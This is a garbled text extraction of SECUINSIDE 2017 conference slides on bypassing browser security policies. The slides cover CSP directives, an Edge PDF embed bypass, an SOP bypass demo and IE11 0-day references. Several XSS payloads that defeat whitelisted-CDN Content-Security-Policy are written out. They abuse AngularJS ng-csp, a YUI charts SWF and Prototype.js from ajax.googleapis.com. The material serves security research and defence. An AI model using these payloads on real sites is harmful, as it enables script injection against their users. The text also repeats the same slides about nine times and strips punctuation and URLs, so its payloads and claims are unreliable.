Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 25: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 26: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 27: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 28: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 29: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 30: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 31: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 32: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 33: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

